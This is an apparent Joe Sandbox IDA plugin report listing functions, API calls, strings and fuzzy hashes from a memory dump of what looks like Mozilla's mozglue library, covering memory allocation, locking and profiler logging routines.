
Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: cddb88e48413acec8055f32cc09161a3418babf9b587304271ad4cf0e6e6c1d8
Instruction ID: 69d676ce82f922428c68906b8d443c8bd279a8b00359d9fa4e02db7849125ce7
Opcode Fuzzy Hash: cddb88e48413acec8055f32cc09161a3418babf9b587304271ad4cf0e6e6c1d8
Instruction Fuzzy Hash: 2A41B0B47002459BDF00CFA6E984BBAB7B4EB49325F084529FD1587B80D730A955CFA1

Function 6CAE1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E784), ref: 6CAE1EC1
LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAE1EE1
EnterCriticalSection.KERNEL32(6CB6E744), ref: 6CAE1F38
LeaveCriticalSection.KERNEL32(6CB6E744), ref: 6CAE1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAE1F83
LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAE1FC0
EnterCriticalSection.KERNEL32(6CB6E784), ref: 6CAE1FE2
LeaveCriticalSection.KERNEL32(6CB6E784), ref: 6CAE1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAE2019

Strings

MOZ_CRASH(), xrefs: 6CAE2000

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 0e25a5d9796bd8162e874ad78868e30670b3c0c604ddd39d49b433fea74a2b43
Instruction ID: 599dd0da2ca00dfc13b969d866a7aab82fe98368d3ce6c8510a1cbdca190ba7c
Opcode Fuzzy Hash: 0e25a5d9796bd8162e874ad78868e30670b3c0c604ddd39d49b433fea74a2b43
Instruction Fuzzy Hash: A341A076B042958FDB009F6ACC84BBEBBB5EB59348F040135FA059BB81DB719844DBD1

Function 6CAF7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF7EA7
malloc.MOZGLUE(00000001), ref: 6CAF7EB3

Part of subcall function 6CAFCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAFCB49
Part of subcall function 6CAFCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAFCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAF7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAF7F19
malloc.MOZGLUE(?), ref: 6CAF7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAF7F4D

Strings

d, xrefs: 6CAF7F89

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 5af1ed7bc7f4773b321bc30912c99876222ff9afaf615468df082f296d13092b
Instruction ID: a1d0a6408030c58ae4c65d356fa0049054bcea0cbc220937d6ab7eea5ef1fa55
Opcode Fuzzy Hash: 5af1ed7bc7f4773b321bc30912c99876222ff9afaf615468df082f296d13092b
Instruction Fuzzy Hash: A9311661E0038897EB019F39DD049FEB778EF96208F449328EC499B612FB31A5D9C391

Function 6CAF3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAF3EEE
RtlFreeHeap.NTDLL ref: 6CAF3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAF4006
RtlFreeHeap.NTDLL ref: 6CAF40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAF3CCC), ref: 6CAF40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAF3CCC), ref: 6CAF40C2
RtlFreeHeap.NTDLL ref: 6CAF4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAF3CCC), ref: 6CAF4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAF3CCC), ref: 6CAF4157

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: d59ece19dd44a542017ac24902230414b293b3db51454a8fc01831abf579f5e1
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 1EA19FB1A01205CFEB40CF28C980659B7B5FF48308F2941A9E919AF742D775E986CFA0

Function 6CAE2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CB03F47,?,?,?,6CB03F47,6CB01A70,?), ref: 6CAE207F
memset.VCRUNTIME140(?,000000E5,6CB03F47,?,6CB03F47,6CB01A70,?), ref: 6CAE20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CB03F47,6CB01A70,?), ref: 6CAE211A
EnterCriticalSection.KERNEL32(6CB6E744,?,6CB03F47,6CB01A70,?), ref: 6CAE2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CB03F47,6CB01A70,?), ref: 6CAE21BA
EnterCriticalSection.KERNEL32(6CB6E744,?,6CB03F47,6CB01A70,?), ref: 6CAE21E0
LeaveCriticalSection.KERNEL32(6CB6E744,?,6CB03F47,6CB01A70,?), ref: 6CAE2232

Strings

MOZ_CRASH(), xrefs: 6CAE227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CAE2253, 6CAE2268

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 4627de11581aac4b09d2c05c25d565429533bf359739e078247e7ab351a71600
Instruction ID: 4cb27030cf3c913fe49c020cf9a763d1000b7b8e2fc00bc3d2ad039497443b67
Opcode Fuzzy Hash: 4627de11581aac4b09d2c05c25d565429533bf359739e078247e7ab351a71600
Instruction Fuzzy Hash: E061B132B002168BCB04CEA9CD89B7E77B1AF99314F294239E524A7AD4D7709D40E7C1

Function 6CAE48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CB2483A,?), ref: 6CAE4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CB2483A,?), ref: 6CAE4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CB2483A,?), ref: 6CAE4A82

Part of subcall function 6CAFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CAFCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CB2483A,?), ref: 6CAE4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CB2483A,?), ref: 6CAE4A35

Part of subcall function 6CAFCA10: malloc.MOZGLUE(?), ref: 6CAFCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CB2483A,?), ref: 6CAE4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CB2483A,?), ref: 6CAE4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CB2483A,?), ref: 6CAE4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CB2483A,?), ref: 6CAE4B2C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: ebb04bceb8c94f76ee3276f3cf596b2b092b8c5a316593b03dc1250bf792e3fc
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: F8716BB190074A9FC714DFA9C580AAAB7F9FF09318B10463EE15A9BB41E731F595CB80

Function 6CB39D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB38273), ref: 6CB39D65
free.MOZGLUE(6CB38273,?), ref: 6CB39D7C
free.MOZGLUE(?,?), ref: 6CB39D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB39E0F
free.MOZGLUE(6CB3946B,?,?), ref: 6CB39E24
free.MOZGLUE(?,?,?), ref: 6CB39E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB39EC8
free.MOZGLUE(6CB3946B,?,?,?), ref: 6CB39EDF
free.MOZGLUE(?,?,?,?), ref: 6CB39EF5

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 42e9a8ee1ed3b35e30bf445b7f961b8be374d1f2dd681e55be7fc52e824d06d3
Instruction ID: ffc20bf64c85e39e14c48b2096679b29a4147e5d48be8af9a57e7b58cfb995c9
Opcode Fuzzy Hash: 42e9a8ee1ed3b35e30bf445b7f961b8be374d1f2dd681e55be7fc52e824d06d3
Instruction Fuzzy Hash: B3719FB0909BA18BD712CF18C48055BF7F5FF99315B449619E89E5BB01EF30E889CB85

Function 6CB3DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB3DDCF

Part of subcall function 6CB1FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB1FA4B

Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB390FF
Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB39108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3DE0D
free.MOZGLUE(00000000), ref: 6CB3DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB3DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB2DEFD,?,6CAF4A68), ref: 6CB3DF32

Part of subcall function 6CB3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB3DB86
Part of subcall function 6CB3DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB3DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB2DEFD,?,6CAF4A68), ref: 6CB3DF65
free.MOZGLUE(?), ref: 6CB3DF80

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 3f2667352373b51861e749cbb1b1e0d45e8e6075bd9b499e712d63c0b01e0764
Instruction ID: a20d4f06ae01c8db36297c99d57f5ff4893f6920defd8f029b85487c394ada72
Opcode Fuzzy Hash: 3f2667352373b51861e749cbb1b1e0d45e8e6075bd9b499e712d63c0b01e0764
Instruction Fuzzy Hash: C551C372A116B09BDB119B38E8806AEB776BF91308F95111DD85E53F40DB31F819CB82

Function 6CB45D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45DC9
std::_Facet_Register.LIBCPMT ref: 6CB45DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB45C8C,?,6CB1E829), ref: 6CB45E45

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: fa4a6242a5a53f45b273889f8b69f8918af172b9a6ec252098b14e5303d03875
Instruction ID: 040254a37636916ae7f03850d8e6d7a8ebe3f2bb147252314b9bb128fdd537b1
Opcode Fuzzy Hash: fa4a6242a5a53f45b273889f8b69f8918af172b9a6ec252098b14e5303d03875
Instruction Fuzzy Hash: FC41AF317042548FCB00DF65C898EAE77B9FF89314F048069E50A9B791EB30EC09DB65

Function 6CB1CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAE31A7), ref: 6CB1CDDD

Strings

<jemalloc>, xrefs: 6CB1CF9F, 6CB1CFB3
: (malloc) Error in VirtualFree(), xrefs: 6CB1CFA4, 6CB1CFB8

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: ef4dceb038935fc29a4da228435be5e90f745341300f3214b358fbb51beec5d7
Instruction ID: efd0fbdfa751b519ca6493b6877f2c3773bffb852ea0ef5a271633a82ce2a357
Opcode Fuzzy Hash: ef4dceb038935fc29a4da228435be5e90f745341300f3214b358fbb51beec5d7
Instruction Fuzzy Hash: FB31A3317492855BEF14AEA6CC55BBE7B75FB41718F204024F615ABEC0DB70E4048B92

Function 6CAEECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAEF100: LoadLibraryW.KERNEL32(shell32,?,6CB5D020), ref: 6CAEF122
Part of subcall function 6CAEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAEF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CAEED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAEEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CAEEDCC
CreateFileW.KERNEL32 ref: 6CAEEE08
free.MOZGLUE(00000000), ref: 6CAEEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CAEEE32

Part of subcall function 6CAEEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CAEEBB5
Part of subcall function 6CAEEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB1D7F3), ref: 6CAEEBC3
Part of subcall function 6CAEEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB1D7F3), ref: 6CAEEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CAEEDC1

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 7e25e1c0053e0ca5a0e29e5dd66b13796e6832b2bc5ba99a5949552c4eb1f247
Instruction ID: 3cdf1134289bc15ef493596e6ef29603664353aa1001a5e3d8aa699877a778a7
Opcode Fuzzy Hash: 7e25e1c0053e0ca5a0e29e5dd66b13796e6832b2bc5ba99a5949552c4eb1f247
Instruction Fuzzy Hash: 9E51E071D052489BDB00DF68D9806EEB7B1AF5D318F48852DE8557BB80E7306988D7E2

Function 6CB5A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB5A565

Part of subcall function 6CB5A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB5A4BE
Part of subcall function 6CB5A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB5A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB5A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB5A6B6

Strings

z, xrefs: 6CB5A6AE
0, xrefs: 6CB5A5FB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: d05a89d226a5a2296e2b0abc159f757817aceb8cb197b929da08a7001ff840e6
Instruction ID: eb41cd143091424c70d2fdfd081fd36e19597eb36aa89463480711277982aa56
Opcode Fuzzy Hash: d05a89d226a5a2296e2b0abc159f757817aceb8cb197b929da08a7001ff840e6
Instruction Fuzzy Hash: 8D4117719087859FC341DF28C480A9FBBE5BF89354F808A2EE49997690E730E559CB93

Function 6CAE78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB6008B), ref: 6CAE7B89
free.MOZGLUE(?,6CB6008B), ref: 6CAE7BAC

Part of subcall function 6CAE78C0: free.MOZGLUE(?,6CB6008B), ref: 6CAE7BCF

free.MOZGLUE(?,6CB6008B), ref: 6CAE7BF2

Part of subcall function 6CB05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CB05EDB
Part of subcall function 6CB05E90: memset.VCRUNTIME140(6CB47765,000000E5,55CCCCCC), ref: 6CB05F27
Part of subcall function 6CB05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CB05FB2

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 5b209b8b4a0e664ce2383b13b569bd987f5698e8609b8cafaabbb563604e9ba7
Instruction ID: 270abddf3f10756a8adac1749b4226cea83c82fa24b5a59f38235ef57618ffcd
Opcode Fuzzy Hash: 5b209b8b4a0e664ce2383b13b569bd987f5698e8609b8cafaabbb563604e9ba7
Instruction Fuzzy Hash: 89C1B431E011288BEB24CB68CD94B9DB772AF45318F1403A9D51AE7BC2D7319EC99F91

Function 6CB29420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB1AB89: EnterCriticalSection.KERNEL32(6CB6E370,?,?,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284), ref: 6CB1AB94
Part of subcall function 6CB1AB89: LeaveCriticalSection.KERNEL32(6CB6E370,?,6CAE34DE,6CB6F6CC,?,?,?,?,?,?,?,6CAE3284,?,?,6CB056F6), ref: 6CB1ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAF4A68), ref: 6CB2945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB29470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB29482
__Init_thread_footer.LIBCMT ref: 6CB2949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB2946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB2947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB29459

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
